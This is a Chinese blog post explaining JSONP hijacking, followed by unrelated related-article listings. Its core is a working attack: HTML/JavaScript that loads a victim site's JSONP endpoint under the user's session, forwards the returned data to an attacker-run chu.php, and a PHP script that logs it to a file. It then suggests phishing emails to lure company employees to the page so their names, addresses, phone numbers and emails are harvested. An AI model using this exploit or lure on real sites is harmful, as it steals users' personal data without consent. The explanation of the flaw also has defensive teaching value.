关于jsonp劫持

简介: Jsonp是基于json格式的接口,主要是为了解决跨域请求资源的问题,不清楚跨域的自行百度一下浏览器跨域详解, 他的实现原理就是利用html的script元素标签进行远程调用jsonp文件来实现数据的传输

  前一段时间有人问我jsonp劫持,正愁不知道发什么,然后就对jsonp这个漏洞梳理了一下


jsonp介绍:

Jsonp是基于json格式的接口,主要是为了解决跨域请求资源的问题,不清楚跨域的自行百度一下浏览器跨域详解, 他的实现原理就是利用html的script元素标签进行远程调用jsonp文件来实现数据的传输


下面是某站的jsonp漏洞,jsonp传输的数据可能有手机号,邮箱,如果是购物网站还可能存在收获地址等敏感信息,现在很多大型网站还都存在jsonp漏洞,但是并没有泄露一些敏感的信息。


jsonp利用:

jsonp大概就是网站B对网站AJSONP请求没有进行安全检查直接返回数据,则网站B便存在JSONP漏洞,网站A利用JSONP漏洞能够获取用户在网站B上的jsonp传输的数据


详解:

1,用户在网站B进行了登录,网站B存在jsonp漏洞,jsonp传输的数据里面有邮箱信息

2,用户访问了网站A(A是我们自己编译好的恶意网站),访问后的响应信息中包含javascript代码,代码执行后会去请求网站Bjsonp文件,然后将请求后的内容弹出,这只是一个测试代码,具体代码在下方

测试代码:



<scripttype="text/javascript">
function Callback(content)
{
    alert(content.xxx);
}
</script>
<script type="text/javascript"src="http://B.com/jsonp?callback=jQuery"></script>





<scripttype="text/javascript">function Callback(content){    alert(content.xxx);}</script><script type="text/javascript"src="http://B.com/jsonp?callback=jQuery"></script>


3B收到请求后会生成json格式的数据(这个数据包含手机号等信息),json格式的数据返还给A

4A收到返还的响应后会对数据进行Callback回调处理,利用代码写的是弹窗所以就会弹出来A请求B之后返还的数据

 

下面我对网站A的代码做了填充修改,将代码插入到html页面中

正式代码:

<script type="text/javascript">
function Callback(content)
{
    var xmlhttp;
    if (window.XMLHttpRequest)
    {
        // IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码
        xmlhttp=new XMLHttpRequest();
    }
    else
    {
        // IE6, IE5 浏览器执行代码
        xmlhttp=newActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function()
{
        if (xmlhttp.readyState==4 &&xmlhttp.status==200)
        {
            xmlhttp.responseText
        }
    }
   xmlhttp.open("GET","/chu.php?content=content",true);
    xmlhttp.send();
}
</script>
<script type="text/javascript" src="http://B.com/jsonp?callback=jQuery"></script>







<script type="text/javascript">function Callback(content){    var xmlhttp;    if (window.XMLHttpRequest)    {        // IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码        xmlhttp=new XMLHttpRequest();    }    else    {        // IE6, IE5 浏览器执行代码        xmlhttp=newActiveXObject("Microsoft.XMLHTTP");    }    xmlhttp.onreadystatechange=function(){        if (xmlhttp.readyState==4 &&xmlhttp.status==200)        {            xmlhttp.responseText        }    }   xmlhttp.open("GET","/chu.php?content=content",true);    xmlhttp.send();}</script><script type="text/javascript" src="http://B.com/jsonp?callback=jQuery"></script>

请求B网站之后回调数据发送给chu.php,他会将返回的内容请求

chu.php:

<?php
$get = $_GET['content'];
$myfile =fopen("newfile.txt","a");
fwrite($myfile,"$get\n");
fclose($myfile);
?>






<?php$get = $_GET['content'];$myfile =fopen("newfile.txt","a");fwrite($myfile,"$get\n");fclose($myfile);?>


漏洞利用起来需要一定的条件,看到这里估计很多人会问危害,危害就获取个人信息,这个漏洞主要攻击者是企业,可以获取企业内部人员信息,我们可以给企业人员发送邮件等方式让用户去访问网站A,访问后会获取企业人员信息(地址,姓名,手机号,邮箱等),也可以用于蜜罐的身份识别等。

目录
相关文章
|
网络协议 安全 测试技术
性能工具之emqtt-bench BenchMark 测试示例
【4月更文挑战第19天】在前面两篇文章中介绍了emqtt-bench工具和MQTT的入门压测,本文示例 emqtt_bench 对 MQTT Broker 做 Beachmark 测试,让大家对 MQTT消息中间 BenchMark 测试有个整体了解,方便平常在压测工作查阅。
1500 7
性能工具之emqtt-bench BenchMark 测试示例
|
缓存 数据安全/隐私保护 Sentinel
断路精灵:探秘Sentinel熔断策略的神奇效果
断路精灵:探秘Sentinel熔断策略的神奇效果
386 0
|
Web App开发
如何设置谷歌浏览器在新窗口中打开链接?如何设置谷歌浏览器在新标签页中打开链接?
一、快捷键方式:  1、左键单击 ==》 在当前窗口中打开目标网页。  2、Shift + 左键单击 ==》 在新窗口中打开目标网页。  3、Ctrl + 左键单击 ==》 在新标签页中打开目标网页。  4、鼠标中键点击书签即打开新的标签页,在新的标签页中显示指定的网页。
61963 0
|
Shell Go 开发工具
使用 Hugo 快速搭建一个云博客系统
使用Hugo快速搭建博客,Hugo是基于Go的静态站点生成器,以其简单、高效著称。[官网](https://gohugo.io/) 提供多种主题,如[m10c](https://themes.gohugo.io/themes/hugo-theme-m10c/)等。在Mac上可通过`brew install hugo`安装。创建站点`hugo new site ~/hugo-blog`,
738 0
使用 Hugo 快速搭建一个云博客系统
|
SQL 应用服务中间件 数据安全/隐私保护
Apollo——docker-compose运行Apollo
Apollo——docker-compose运行Apollo
310 0
|
人工智能 前端开发 算法
TopView.ai 技术栈
`Topview.ai` 是一个集成AI的视频编辑平台,利用OpenAI的GPT 4.0V和Gemini算法提供服务。其网站基于前沿的前端框架`Next.js`和`React`构建,后端基础设施依托于`AWS`云服务。[AI Video Editor](https://www.topview.ai)结合先进技术和用户友好的界面,为创意工作流程赋能。
|
运维 算法 数据挖掘
5个适合新手练习的Python刷题网站
5个适合新手练习的Python刷题网站
2359 0
|
机器学习/深度学习 算法 数据安全/隐私保护
两万多字诠释python经典基础算法之100题【内含思路、程序和答案】【python小白必备】
本文为最最基础的python基础算法题目、思路和答案,适合python初学者使用,可以当作python入门算法工具书,虽然不具有高深的算法,但是都是企业级算法用的频率最多的,这也是学好高级算法的必经之路。希望收藏、关注、点赞哦。
|
存储 前端开发 JavaScript
当后端一次性丢给你10万条数据, 作为前端工程师的你,要怎么处理?
前段时间有朋友问我一个他们公司遇到的问题, 说是后端由于某种原因没有实现分页功能, 所以一次性返回了2万条数据,让前端用select组件展示到用户界面里. 我听完之后立马明白了他的困惑, 如果通过硬编码的方式去直接渲染这两万条数据到select中,肯定会卡死. 后面他还说需要支持搜索, 也是前端来实现,我顿时产生了兴趣. 当时想到的方案大致如下:
1309 1